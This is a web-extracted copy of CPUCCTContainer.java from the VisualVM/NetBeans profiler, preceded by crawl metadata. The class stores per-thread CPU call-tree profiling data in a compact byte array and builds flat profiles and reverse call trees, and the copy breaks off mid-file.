"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3245997130870819,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.05385734885931015,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.28966522216796875,
"rps_doc_frac_unique_words": 0.4808852970600128,
"rps_doc_mean_word_length": 4.5372233390808105,
"rps_doc_num_sentences": 37,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.086504936218262,
"rps_doc_word_count": 497,
"rps_doc_frac_chars_dupe_10grams": 0.22439023852348328,
"rps_doc_frac_chars_dupe_5grams": 0.23858092725276947,
"rps_doc_frac_chars_dupe_6grams": 0.22439023852348328,
"rps_doc_frac_chars_dupe_7grams": 0.22439023852348328,
"rps_doc_frac_chars_dupe_8grams": 0.22439023852348328,
"rps_doc_frac_chars_dupe_9grams": 0.22439023852348328,
"rps_doc_frac_chars_top_2gram": 0.04611973091959953,
"rps_doc_frac_chars_top_3gram": 0.04966741055250168,
"rps_doc_frac_chars_top_4gram": 0.07804878056049347,
"rps_doc_books_importance": -255.52830505371094,
"rps_doc_books_importance_length_correction": -255.52830505371094,
"rps_doc_openwebtext_importance": -193.82867431640625,
"rps_doc_openwebtext_importance_length_correction": -193.82867431640625,
"rps_doc_wikipedia_importance": -105.40877532958984,
"rps_doc_wikipedia_importance_length_correction": -105.40877532958984
},
"fasttext": {
"dclm": 0.5224955081939697,
"english": 0.9423230290412903,
"fineweb_edu_approx": 1.3754708766937256,
"eai_general_math": 0.011425790376961231,
"eai_open_web_math": 0.16705578565597534,
"eai_web_code": 0.0003540499892551452
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.445",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "4",
"label": "Missing Images or Figures"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-1,027,063,001,707,146,500 | Logo Search packages:
Sourcecode: visualvm version File versions Download package
CPUCCTContainer.java
/*
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS HEADER.
*
* Copyright 1997-2007 Sun Microsystems, Inc. All rights reserved.
*
* The contents of this file are subject to the terms of either the GNU
* General Public License Version 2 only ("GPL") or the Common
* Development and Distribution License("CDDL") (collectively, the
* "License"). You may not use this file except in compliance with the
* License. You can obtain a copy of the License at
* http://www.netbeans.org/cddl-gplv2.html
* or nbbuild/licenses/CDDL-GPL-2-CP. See the License for the
* specific language governing permissions and limitations under the
* License. When distributing the software, include this License Header
* Notice in each file and include the License file at
* nbbuild/licenses/CDDL-GPL-2-CP. Sun designates this
* particular file as subject to the "Classpath" exception as provided
* by Sun in the GPL Version 2 section of the License file that
* accompanied this code. If applicable, add the following below the
* License Header, with the fields enclosed by brackets [] replaced by
* your own identifying information:
* "Portions Copyrighted [year] [name of copyright owner]"
*
* Contributor(s):
* The Original Software is NetBeans. The Initial Developer of the Original
* Software is Sun Microsystems, Inc. Portions Copyright 1997-2006 Sun
* Microsystems, Inc. All Rights Reserved.
*
* If you wish your version of this file to be governed by only the CDDL
* or only the GPL Version 2, indicate your decision by adding
* "[Contributor] elects to include this software in this distribution
* under the [CDDL or GPL Version 2] license." If you do not indicate a
* single choice of license, a recipient has the option to distribute
* your version of this file under either the CDDL, the GPL Version 2 or
* to extend the choice of license to its licensees as provided above.
* However, if you add GPL Version 2 code and therefore, elected the GPL
* Version 2 license, then the option applies only if the new code is
* made subject to such option by the copyright holder.
*/
package org.netbeans.lib.profiler.results.cpu;
import org.netbeans.lib.profiler.ProfilerLogger;
import org.netbeans.lib.profiler.global.InstrumentationFilter;
import org.netbeans.lib.profiler.results.cpu.cct.nodes.MethodCPUCCTNode;
import org.netbeans.lib.profiler.results.cpu.cct.nodes.RuntimeCPUCCTNode;
import org.netbeans.lib.profiler.results.cpu.cct.nodes.TimedCPUCCTNode;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.util.logging.Level;
import java.util.logging.Logger;
/**
* An instance of this class contains a presentation-time CCT for the given thread in the compact, flattened form, that is also fast
* to generate and save/retrieve.
* Can represent data only on the method level "view" AKA "aggregation level". The CPUCCTClassContainer subclass provides functionality
* to create and represent data at class and package aggregation level. The AllThreadsMergedCPUCCTContainer also supports views. A single
* instance of CPUCCTContainer or its subclass can represent data only on a single aggregation level.
*
* @author Tomas Hurka
* @author Misha Dmitriev
*/
00065 public class CPUCCTContainer {
//~ Static fields/initializers -----------------------------------------------------------------------------------------------
private static final Logger LOGGER = Logger.getLogger(CPUCCTContainer.class.getName());
// -- Data used for the compact representation of the CCT
/* In the compactData array, data is packed in the following way:
* |---------------------------------------------------------------------------------------------------------
* | methodID | nCalls |time0 | self |time1 | self |nbr. of subnodes | subnode0 | | subnodeN |
* | | | | time0 |(if 2 timers | time1 | | offset | ... | offset |
* | | | | | used) | | | | | |
* |---------------------------------------------------------------------------------------------------------
* 2 bytes 4 bytes 5 bytes 5 bytes 5 bytes 5 bytes 2 bytes 3 or 4 bytes depending on the size of compactData array
*/
protected static final int OFS_METHODID = 0;
protected static final int OFS_NCALLS = OFS_METHODID + 2;
protected static final int OFS_TIME0 = OFS_NCALLS + 4;
protected static final int OFS_SELFTIME0 = OFS_TIME0 + 5;
protected static final int OFS_TIME1 = OFS_SELFTIME0 + 5;
protected static final int OFS_SELFTIME1 = OFS_TIME1 + 5;
protected static final int OFS_NSUBNODES1 = OFS_SELFTIME0 + 5;
protected static final int OFS_NSUBNODES2 = OFS_SELFTIME1 + 5;
protected static final int OFS_SUBNODE01 = OFS_NSUBNODES1 + 2;
protected static final int OFS_SUBNODE02 = OFS_NSUBNODES2 + 2;
protected static final int CHILD_OFS_SIZE_3 = 3;
protected static final int CHILD_OFS_SIZE_4 = 4;
// These are just the same-named xxxAbsCounts values converted into microseconds. So far used ONLY for informational purposes
// (in "get internal statistics"), thus static is more or less tolerable (so far...)
private static double timeInInjectedCodeInMS;
private static double wholeGraphGrossTimeAbsInMS;
//~ Instance fields ----------------------------------------------------------------------------------------------------------
protected CPUResultsSnapshot cpuResSnapshot;
protected FlatProfileContainer cachedFlatProfile;
protected PrestimeCPUCCTNode rootNode;
protected String threadName;
protected byte[] compactData;
protected int[] invPerMethodId;
// -- Temporary data used during flat profile generation
protected long[] timePerMethodId0;
protected long[] timePerMethodId1;
protected boolean collectingTwoTimeStamps; // True if we collect two timestamps, absolute and thread CPU, for each method invocation
protected boolean displayWholeThreadCPUTime; // True if we can calculate, and thus display, valid whole thread CPU time
// Time spent in instrumentation, measured in counts
protected double timeInInjectedCodeInAbsCounts;
protected double timeInInjectedCodeInThreadCPUCounts;
protected int childOfsSize = -1;
protected int nodeSize; // Size of a single node above, not taking possible subnodeOffset fields into account
protected int threadId;
// -- Data that is supposed to be used for user information in various parts of the CPU results display
// Gross time spent in the whole graph, measured in counts. It's measured by "starting the clock" when the root
// method is entered, and "stopping the clock" when it exits. Time for hotswapping and on-line data processing
// is factored out, so what is actually contained in wholeGraphGrossTime is (pure time + instrumentation time).
// Note that independent of method timestamps collected, root method entry and exit events always have both
// absolute and thread CPU time stamps.
protected long wholeGraphGrossTimeAbs;
protected long wholeGraphGrossTimeThreadCPU;
// This is calculated as a sum of net times spent in all methods
protected long wholeGraphNetTime0;
protected long wholeGraphNetTime1;
// This is calculated as the above gross time minus total time spent in instrumentation
protected long wholeGraphPureTimeAbs;
protected long wholeGraphPureTimeThreadCPU;
private InstrumentationFilter filter;
private PrestimeCPUCCTNodeFree reverseCCTRootNode;
// private ProfilingSessionStatus status;
private int[] nodeStack;
private int childTotalNCalls;
private int currentNodeStackSize;
private int nodeStackPtr;
// -- Temporary data used during reverse CCT generation
private int selectedMethodId;
// -- Temporary data used during above array generation
private long childTotalTime0InTimerUnits;
private long childTotalTime1InTimerUnits;
private long totalInvNo;
private TimingAdjusterOld timingAdjuster;
private MethodInfoMapper methodInfoMapper = MethodInfoMapper.DEFAULT;
//~ Constructors -------------------------------------------------------------------------------------------------------------
public CPUCCTContainer(TimedCPUCCTNode rtRootNode, CPUResultsSnapshot cpuResSnapshot, MethodInfoMapper methodInfoMapper, TimingAdjusterOld timingAdjuster,
InstrumentationFilter usedFilter, int nNodes,
double[] threadActiveTimesInCounts, int threadId, String threadName) {
this(cpuResSnapshot);
this.threadId = threadId;
this.threadName = threadName;
this.methodInfoMapper = methodInfoMapper;
this.timingAdjuster = timingAdjuster;
this.filter = usedFilter;
collectingTwoTimeStamps = cpuResSnapshot.isCollectingTwoTimeStamps();
generateCompactData(rtRootNode, nNodes);
calculateThreadActiveTimesInMS(threadActiveTimesInCounts);
rootNode = new PrestimeCPUCCTNodeBacked(this, null, 0);
if (rtRootNode.isRoot()) {
rootNode.setThreadNode();
}
}
protected CPUCCTContainer(CPUResultsSnapshot cpuResSnapshot) {
this.cpuResSnapshot = cpuResSnapshot;
}
//~ Methods ------------------------------------------------------------------------------------------------------------------
public CPUResultsSnapshot getCPUResSnapshot() {
return cpuResSnapshot;
}
public int getChildOfsForNodeOfs(int nodeOfs, int childIdx) {
if (childOfsSize == CHILD_OFS_SIZE_4) {
return get4Bytes(nodeOfs + (collectingTwoTimeStamps ? OFS_SUBNODE02 : OFS_SUBNODE01) + (childOfsSize * childIdx));
} else {
return get3Bytes(nodeOfs + (collectingTwoTimeStamps ? OFS_SUBNODE02 : OFS_SUBNODE01) + (childOfsSize * childIdx));
}
}
public boolean isCollectingTwoTimeStamps() {
return collectingTwoTimeStamps;
}
public FlatProfileContainer getFlatProfile() {
// if (cachedFlatProfile == null) {
// generateFlatProfile();
// }
// return cachedFlatProfile;
return generateFlatProfile();
}
public String[] getMethodClassNameAndSig(int methodId) {
return cpuResSnapshot.getMethodClassNameAndSig(methodId, CPUResultsSnapshot.METHOD_LEVEL_VIEW);
}
// -- Methods for retrieving data for individual nodes
public int getMethodIdForNodeOfs(int nodeOfs) {
return get2Bytes(nodeOfs + OFS_METHODID);
}
public int getNCallsForNodeOfs(int nodeOfs) {
return get4Bytes(nodeOfs + OFS_NCALLS);
}
public int getNChildrenForNodeOfs(int nodeOfs) {
return get2Bytes(nodeOfs + (collectingTwoTimeStamps ? OFS_NSUBNODES2 : OFS_NSUBNODES1));
}
public PrestimeCPUCCTNode getReverseCCT(int methodId) {
return generateReverseCCT(methodId);
}
public PrestimeCPUCCTNode getRootNode() {
return rootNode;
}
public long getSelfTime0ForNodeOfs(int nodeOfs) {
return get5Bytes(nodeOfs + OFS_SELFTIME0);
}
public long getSelfTime1ForNodeOfs(int nodeOfs) {
return get5Bytes(nodeOfs + OFS_SELFTIME1);
}
public long getSleepTime0ForNodeOfs(int nodeOfs) {
return 0;
} // TODO [wait]
public int getThreadId() {
return threadId;
}
public String getThreadName() {
return threadName;
}
// Provided for information purposes (that is, the "get internal statistics" action) only. Since this stuff
// is not used in any real calculations, it's more or less tolerable so far to have it static.
public static double getTimeInInjectedCodeForDisplayedThread() {
return timeInInjectedCodeInMS;
}
public long getTotalTime0ForNodeOfs(int nodeOfs) {
return get5Bytes(nodeOfs + OFS_TIME0);
}
public long getTotalTime1ForNodeOfs(int nodeOfs) {
return get5Bytes(nodeOfs + OFS_TIME1);
}
public long getWaitTime0ForNodeOfs(int nodeOfs) {
return 0;
} // TODO [wait]
public static double getWholeGraphGrossTimeAbsForDisplayedThread() {
return wholeGraphGrossTimeAbsInMS;
}
public long getWholeGraphNetTime0() {
return wholeGraphNetTime0;
}
public long getWholeGraphNetTime1() {
return wholeGraphNetTime1;
}
public long getWholeGraphPureTimeAbs() {
return wholeGraphPureTimeAbs;
}
public long getWholeGraphPureTimeThreadCPU() {
return wholeGraphPureTimeThreadCPU;
}
public boolean canDisplayWholeGraphCPUTime() {
return displayWholeThreadCPUTime;
}
public void readFromStream(DataInputStream in) throws IOException {
threadId = in.readInt();
threadName = in.readUTF();
collectingTwoTimeStamps = in.readBoolean();
int len = in.readInt();
compactData = new byte[len];
if (compactData.length > 0xFFFFFF) {
childOfsSize = CHILD_OFS_SIZE_4;
} else {
childOfsSize = CHILD_OFS_SIZE_3;
}
in.readFully(compactData);
nodeSize = in.readInt();
wholeGraphGrossTimeAbs = in.readLong();
wholeGraphGrossTimeThreadCPU = in.readLong();
timeInInjectedCodeInAbsCounts = in.readDouble();
timeInInjectedCodeInThreadCPUCounts = in.readDouble();
wholeGraphPureTimeAbs = in.readLong();
wholeGraphPureTimeThreadCPU = in.readLong();
wholeGraphNetTime0 = in.readLong();
wholeGraphNetTime1 = in.readLong();
totalInvNo = in.readLong();
displayWholeThreadCPUTime = in.readBoolean();
rootNode = new PrestimeCPUCCTNodeBacked(this, null, 0);
if (this.getMethodIdForNodeOfs(0) == 0) {
rootNode.setThreadNode();
}
}
// -- Serialization support
public void writeToStream(DataOutputStream out) throws IOException {
out.writeInt(threadId);
out.writeUTF(threadName);
out.writeBoolean(collectingTwoTimeStamps);
out.writeInt(compactData.length);
out.write(compactData);
out.writeInt(nodeSize);
out.writeLong(wholeGraphGrossTimeAbs);
out.writeLong(wholeGraphGrossTimeThreadCPU);
out.writeDouble(timeInInjectedCodeInAbsCounts);
out.writeDouble(timeInInjectedCodeInThreadCPUCounts);
out.writeLong(wholeGraphPureTimeAbs);
out.writeLong(wholeGraphPureTimeThreadCPU);
out.writeLong(wholeGraphNetTime0);
out.writeLong(wholeGraphNetTime1);
out.writeLong(totalInvNo);
out.writeBoolean(displayWholeThreadCPUTime);
}
protected void setChildOfsForNodeOfs(int nodeOfs, int childIdx, int val) {
if (childOfsSize == CHILD_OFS_SIZE_4) {
store4Bytes(nodeOfs + (collectingTwoTimeStamps ? OFS_SUBNODE02 : OFS_SUBNODE01) + (childOfsSize * childIdx), val);
} else {
store3Bytes(nodeOfs + (collectingTwoTimeStamps ? OFS_SUBNODE02 : OFS_SUBNODE01) + (childOfsSize * childIdx), val);
}
}
// -- Methods for setting data for individual nodes
protected void setMethodIdForNodeOfs(int nodeOfs, int val) {
store2Bytes(nodeOfs + OFS_METHODID, val);
}
protected void setNCallsForNodeOfs(int nodeOfs, int val) {
store4Bytes(nodeOfs + OFS_NCALLS, val);
}
protected void setNChildrenForNodeOfs(int nodeOfs, int val) {
store2Bytes(nodeOfs + (collectingTwoTimeStamps ? OFS_NSUBNODES2 : OFS_NSUBNODES1), val);
}
protected void setSelfTime0ForNodeOfs(int nodeOfs, long val) {
store5Bytes(nodeOfs + OFS_SELFTIME0, val);
}
protected void setSelfTime1ForNodeOfs(int nodeOfs, long val) {
store5Bytes(nodeOfs + OFS_SELFTIME1, val);
}
protected void setSleepTime0ForNodeOfs(int dataOfs, long waitTime0) {
} // TODO [sleep should be stored separately in future versions]
protected void setTotalTime0ForNodeOfs(int nodeOfs, long val) {
store5Bytes(nodeOfs + OFS_TIME0, val);
}
protected void setTotalTime1ForNodeOfs(int nodeOfs, long val) {
store5Bytes(nodeOfs + OFS_TIME1, val);
}
protected void setWaitTime0ForNodeOfs(int dataOfs, long waitTime0) {
} // TODO [wait should be stored separately in future versions]
protected void addFlatProfTimeForNode(int dataOfs) {
int nChildren = getNChildrenForNodeOfs(dataOfs);
if (nChildren > 0) {
for (int i = 0; i < nChildren; i++) {
int childOfs = getChildOfsForNodeOfs(dataOfs, i);
addFlatProfTimeForNode(childOfs);
}
}
int methodId = getMethodIdForNodeOfs(dataOfs);
timePerMethodId0[methodId] += getSelfTime0ForNodeOfs(dataOfs);
if (collectingTwoTimeStamps) {
timePerMethodId1[methodId] += getSelfTime1ForNodeOfs(dataOfs);
}
invPerMethodId[methodId] += getNCallsForNodeOfs(dataOfs);
}
protected void addToReverseCCT(PrestimeCPUCCTNodeFree reverseNode, int methodId) {
selectedMethodId = methodId;
reverseCCTRootNode = reverseNode;
currentNodeStackSize = 320;
nodeStack = new int[currentNodeStackSize];
nodeStackPtr = 0;
checkStraightGraphNode(0);
nodeStack = null; // Free memory
reverseCCTRootNode = null; // Ditto
}
/**
* Walk all the elements of the main graph, looking for nodes with selectedMethodId signature.
* Whenever one is found, add its path, in reversed form, to the rootNode.
* When path is added, same-named nodes are merged until the first pair of different nodes is found.
*/
00440 protected void checkStraightGraphNode(int dataOfs) {
if (nodeStackPtr >= currentNodeStackSize) {
int[] newNodeStack = new int[currentNodeStackSize * 2];
System.arraycopy(nodeStack, 0, newNodeStack, 0, currentNodeStackSize);
nodeStack = newNodeStack;
currentNodeStackSize = currentNodeStackSize * 2;
}
nodeStack[nodeStackPtr++] = dataOfs;
if (getMethodIdForNodeOfs(dataOfs) == selectedMethodId) {
addReversePath();
}
int nChildren = getNChildrenForNodeOfs(dataOfs);
for (int i = 0; i < nChildren; i++) {
checkStraightGraphNode(getChildOfsForNodeOfs(dataOfs, i));
}
nodeStackPtr--;
}
protected FlatProfileContainer generateFlatProfile() {
preGenerateFlatProfile();
addFlatProfTimeForNode(0);
return postGenerateFlatProfile();
}
protected PrestimeCPUCCTNodeFree generateReverseCCT(int methodId) {
selectedMethodId = methodId;
currentNodeStackSize = 320;
nodeStack = new int[currentNodeStackSize];
nodeStackPtr = 0;
checkStraightGraphNode(0);
PrestimeCPUCCTNodeFree ret = reverseCCTRootNode;
nodeStack = null; // Free memory
reverseCCTRootNode = null; // Ditto
return ret;
}
protected int get2Bytes(int ofs) {
return (((int) compactData[ofs] & 0xFF) << 8) | ((int) compactData[ofs + 1] & 0xFF);
}
protected int get3Bytes(int ofs) {
return (((int) compactData[ofs++] & 0xFF) << 16) | (((int) compactData[ofs++] & 0xFF) << 8)
| ((int) compactData[ofs++] & 0xFF);
}
protected int get4Bytes(int ofs) {
return (((int) compactData[ofs++] & 0xFF) << 24) | (((int) compactData[ofs++] & 0xFF) << 16)
| (((int) compactData[ofs++] & 0xFF) << 8) | ((int) compactData[ofs++] & 0xFF);
}
protected long get5Bytes(int ofs) {
return (((long) compactData[ofs++] & 0xFF) << 32) | (((long) compactData[ofs++] & 0xFF) << 24)
| (((long) compactData[ofs++] & 0xFF) << 16) | (((long) compactData[ofs++] & 0xFF) << 8)
| ((long) compactData[ofs++] & 0xFF);
}
protected FlatProfileContainer postGenerateFlatProfile() {
FlatProfileContainer fpc = new FlatProfileContainerBacked(this, timePerMethodId0, timePerMethodId1, invPerMethodId,
timePerMethodId0.length);
timePerMethodId0 = timePerMethodId1 = null;
invPerMethodId = null;
return fpc;
}
protected void preGenerateFlatProfile() {
int totalMethods = cpuResSnapshot.getNInstrMethods();
timePerMethodId0 = new long[totalMethods];
if (collectingTwoTimeStamps) {
timePerMethodId1 = new long[totalMethods];
}
invPerMethodId = new int[totalMethods];
timePerMethodId0[0] = -1; // 0th element is a hidden "Thread" quazi-method. This prevents exposing it in a pathological case when all times are zero.
}
// -- Utility methods, not interesting enough to place earlier in the code
protected void store2Bytes(int ofs, int data) {
compactData[ofs] = (byte) ((data >> 8) & 0xFF);
compactData[ofs + 1] = (byte) ((data) & 0xFF);
}
protected void store3Bytes(int ofs, int data) {
int curPos = ofs;
compactData[curPos++] = (byte) ((data >> 16) & 0xFF);
compactData[curPos++] = (byte) ((data >> 8) & 0xFF);
compactData[curPos++] = (byte) ((data) & 0xFF);
}
protected void store4Bytes(int ofs, int data) {
int curPos = ofs;
compactData[curPos++] = (byte) ((data >> 24) & 0xFF);
compactData[curPos++] = (byte) ((data >> 16) & 0xFF);
compactData[curPos++] = (byte) ((data >> 8) & 0xFF);
compactData[curPos++] = (byte) ((data) & 0xFF);
}
protected void store5Bytes(int ofs, long data) {
int curPos = ofs;
compactData[curPos++] = (byte) ((data >> 32) & 0xFF);
compactData[curPos++] = (byte) ((data >> 24) & 0xFF);
compactData[curPos++] = (byte) ((data >> 16) & 0xFF);
compactData[curPos++] = (byte) ((data >> 8) & 0xFF);
compactData[curPos++] = (byte) ((data) & 0xFF);
}
private void addChild(TimedCPUCCTNode node, TimedCPUCCTNode parent) {
if ((node == null) || (parent == null)) {
return;
}
TimedCPUCCTNode compParent = null;
TimedCPUCCTNode newChild = null;
int filterStatus = node.getFilteredStatus();
if (!(node instanceof MethodCPUCCTNode)) {
filterStatus = TimedCPUCCTNode.FILTERED_YES;
}
switch (filterStatus) {
case TimedCPUCCTNode.FILTERED_YES: {
compParent = parent;
break;
}
case TimedCPUCCTNode.FILTERED_MAYBE: {
if (node instanceof MethodCPUCCTNode) {
methodInfoMapper.lock(false);
try {
String className = methodInfoMapper.getInstrMethodClass(((MethodCPUCCTNode) node).getMethodId()).replace('.', '/'); // NOI18N
if (!filter.passesFilter(className)) {
compParent = parent;
} else {
newChild = (TimedCPUCCTNode) node.clone();
compParent = newChild;
}
} finally {
methodInfoMapper.unlock();
}
} else {
compParent = parent;
}
break;
}
case TimedCPUCCTNode.FILTERED_NO: {
MethodCPUCCTNode existingChild = MethodCPUCCTNode.Locator.locate(((MethodCPUCCTNode) node).getMethodId(),
parent.getChildren());
if (existingChild == null) {
newChild = (TimedCPUCCTNode) node.clone();
compParent = newChild;
} else {
newChild = null;
existingChild.addNCalls(node.getNCalls());
existingChild.addNCallsDiff(node.getNCallsDiff());
existingChild.addNetTime0(node.getNetTime0());
existingChild.addNetTime1(node.getNetTime1());
existingChild.addSleepTime0(node.getSleepTime0());
existingChild.addWaitTime0(node.getWaitTime0());
compParent = existingChild;
}
break;
}
default:ProfilerLogger.warning("Unknown filtered status (" + filterStatus + ") for " + node); // NOI18N
}
int nChildren = (node.getChildren() != null) ? node.getChildren().size() : 0;
for (int i = 0; i < nChildren; i++) {
addChild((TimedCPUCCTNode) node.getChildren().getChildAt(i), compParent);
}
if (newChild != null) {
parent.attachNodeAsChild(newChild);
} else {
if (!parent.isRoot()) { // no propagation of filtered-out data to the Thread level node
parent.addNetTime0(node.getNetTime0());
parent.addNCallsDiff(node.getNCalls());
if (collectingTwoTimeStamps) {
parent.addNetTime1(node.getNetTime1());
}
} else {
// threadTimeCompensation0 += node.getNetTime0();
// if (collectingTwoTimeStamps) {
// threadTimeCompensation1 += node.getNetTime1();
// }
}
}
}
/**
* Add the whole reverse path contained in the nodeStack to the reverse call tree, merging nodes where appropriate.
* Most of the complexity of the code is due to handling of the intermediate "from" nodes.
*/
00651 private void addReversePath() {
PrestimeCPUCCTNodeFree curNode = null; // This is effectively a node above the root node - which is non-existent
int stackTopIdx = nodeStackPtr - 1;
for (int i = stackTopIdx; i >= 0; i--) {
int sourceNodeOfs = nodeStack[i];
int sourceNodeId = getMethodIdForNodeOfs(sourceNodeOfs);
if (sourceNodeId == 0) {
return; // It doesn't make sense to add "Thread" nodes to the reverse tree
}
boolean matchingChildFound = false;
if (i < stackTopIdx) { // sourceNodeOfs is some intermediate node
PrestimeCPUCCTNodeFree[] curNodeChildren = (PrestimeCPUCCTNodeFree[]) curNode.getChildren();
if (curNodeChildren != null) {
for (int j = 0; j < curNodeChildren.length; j++) {
if (curNodeChildren[j].getMethodId() == sourceNodeId) {
curNode = curNodeChildren[j];
if (curNode.isContextCallsNode()) { // Skip the "context calls" node if it exists
int prevSourceNodeOfs = nodeStack[i + 1];
mergeBySelfTime(curNode, prevSourceNodeOfs);
curNode = (PrestimeCPUCCTNodeFree) curNode.getChildren()[0];
}
mergeBySelfTime(curNode, sourceNodeOfs);
matchingChildFound = true;
break;
}
}
}
} else { // sourceNode is the topmost stack node
curNode = reverseCCTRootNode;
if (curNode == null) {
curNode = createChildlessCopyBySelfTime(sourceNodeOfs);
reverseCCTRootNode = curNode;
} else {
mergeBySelfTime(curNode, sourceNodeOfs);
}
matchingChildFound = true;
}
if (!matchingChildFound) { // sourceNode may only be an intermediate node
PrestimeCPUCCTNodeFree newNode = createChildlessCopyBySelfTime(sourceNodeOfs);
PrestimeCPUCCTNodeFree[] curNodeChildren = (PrestimeCPUCCTNodeFree[]) curNode.getChildren();
if (curNodeChildren != null) {
// For the given node, add an intermediate "context calls" node. If previously there was just one child,
// insert another "context calls" node for it.
int prevSourceNodeOfs = nodeStack[i + 1];
if (curNodeChildren.length == 1) { // Insert a context node for the already existing single child
PrestimeCPUCCTNodeFree origFirstChild = curNodeChildren[0];
PrestimeCPUCCTNodeFree ccNode = curNode.createChildlessCopy();
subtractNodeDataBySelfTime(ccNode, prevSourceNodeOfs); // Undo the results of merging with the parent of sourceNode
ccNode.setMethodId(origFirstChild.getMethodId());
ccNode.setContextCallsNode();
curNodeChildren[0] = ccNode;
ccNode.parent = curNode;
ccNode.addChild(origFirstChild);
origFirstChild.parent = ccNode;
}
PrestimeCPUCCTNodeFree ccNode = createChildlessCopyBySelfTime(prevSourceNodeOfs);
ccNode.setMethodId(getMethodIdForNodeOfs(sourceNodeOfs));
ccNode.setContextCallsNode();
curNode.addChild(ccNode);
ccNode.parent = curNode;
curNode = ccNode;
}
curNode.addChild(newNode);
newNode.parent = curNode;
curNode = newNode;
}
}
}
/**
* After presentation-time CCT is generated, calculate various special time values stored in this instance
*/
00742 private void calculateThreadActiveTimesInMS(double[] threadActiveTimesInCounts) {
//!!! Delete this comment after deciding what to do with the whole issue.
// In the code below, '+=' is caused by the fact that this method may be called multiple times when in getRootNode() we
// generate CCTs for all threads. In the default single-thread case the real value is just added to the initial zero value.
wholeGraphGrossTimeAbs = (long) threadActiveTimesInCounts[0];
wholeGraphGrossTimeThreadCPU = (long) threadActiveTimesInCounts[1];
timeInInjectedCodeInAbsCounts = threadActiveTimesInCounts[2];
timeInInjectedCodeInThreadCPUCounts = threadActiveTimesInCounts[3];
wholeGraphGrossTimeAbsInMS += ((wholeGraphGrossTimeAbs * 1000.0) / timingAdjuster.getInstrTimingData().timerCountsInSecond0);
timeInInjectedCodeInMS += ((timeInInjectedCodeInAbsCounts * 1000.0) / timingAdjuster.getInstrTimingData().timerCountsInSecond0);
// Note that here we have to use status.timerCountsInSecond[x] explicitly instead of timerCountsInSecond0/1 (which may correspond to wrong time type)
wholeGraphPureTimeAbs += (int) ((((double) wholeGraphGrossTimeAbs - timeInInjectedCodeInAbsCounts) * 1000000) / timingAdjuster.getInstrTimingData().timerCountsInSecond1);
//System.err.println("*** wholeGraphTimeAbs gross (cnts) = " + wholeGraphGrossTimeAbs + ", pure (mcs) = " + wholeGraphPureTimeAbs);
if (wholeGraphGrossTimeThreadCPU > 0) { // Otherwise it means we couldn't calculate it and it shouldn't be displayed
displayWholeThreadCPUTime = true;
wholeGraphPureTimeThreadCPU += (int) ((((double) wholeGraphGrossTimeThreadCPU - timeInInjectedCodeInThreadCPUCounts) * 1000000) / timingAdjuster.getInstrTimingData().timerCountsInSecond1);
//System.err.println("*** wholeGraphTimeThreadCPU gross (cnts) = " + wholeGraphGrossTimeThreadCPU + ", pure (mcs) = " + wholeGraphPureTimeThreadCPU);
//System.err.println("*** timeInInjectedCode (mcs) = " + (timeInInjectedCodeInAbsCounts * 1000000 / status.timerCountsInSecond[0]));
} else {
displayWholeThreadCPUTime = false;
}
// Take measures in case timer's low resolution has caused funny results
if (wholeGraphPureTimeAbs < 0) {
wholeGraphPureTimeAbs = 0;
}
if (wholeGraphPureTimeThreadCPU < 0) {
wholeGraphPureTimeThreadCPU = 0;
}
wholeGraphNetTime0 += get5Bytes(0 + OFS_TIME0);
if (collectingTwoTimeStamps) {
wholeGraphNetTime1 += get5Bytes(0 + OFS_TIME1);
}
}
private PrestimeCPUCCTNodeFree createChildlessCopyBySelfTime(int sourceNodeDataOfs) {
PrestimeCPUCCTNodeFree node = new PrestimeCPUCCTNodeFree(this, null, getMethodIdForNodeOfs(sourceNodeDataOfs));
mergeBySelfTime(node, sourceNodeDataOfs);
return node;
}
// private long threadTimeCompensation0, threadTimeCompensation1;
private TimedCPUCCTNode filterCCT(final TimedCPUCCTNode rootNode) {
TimedCPUCCTNode newRoot = (TimedCPUCCTNode) rootNode.clone();
// threadTimeCompensation0 = threadTimeCompensation1 = 0;
int nChildren = (rootNode.getChildren() != null) ? rootNode.getChildren().size() : 0;
for (int i = 0; i < nChildren; i++) {
addChild((TimedCPUCCTNode) rootNode.getChildren().getChildAt(i), newRoot);
}
// long time0, time1;
// time0 = newRoot.getNetTime0() - threadTimeCompensation0;
newRoot.setNetTime0(0);
if (collectingTwoTimeStamps) {
// time1 = newRoot.getNetTime1() - threadTimeCompensation1;
newRoot.setNetTime1(0);
}
return newRoot;
}
private void generateCompactData(TimedCPUCCTNode rootNode, int nNodes) {
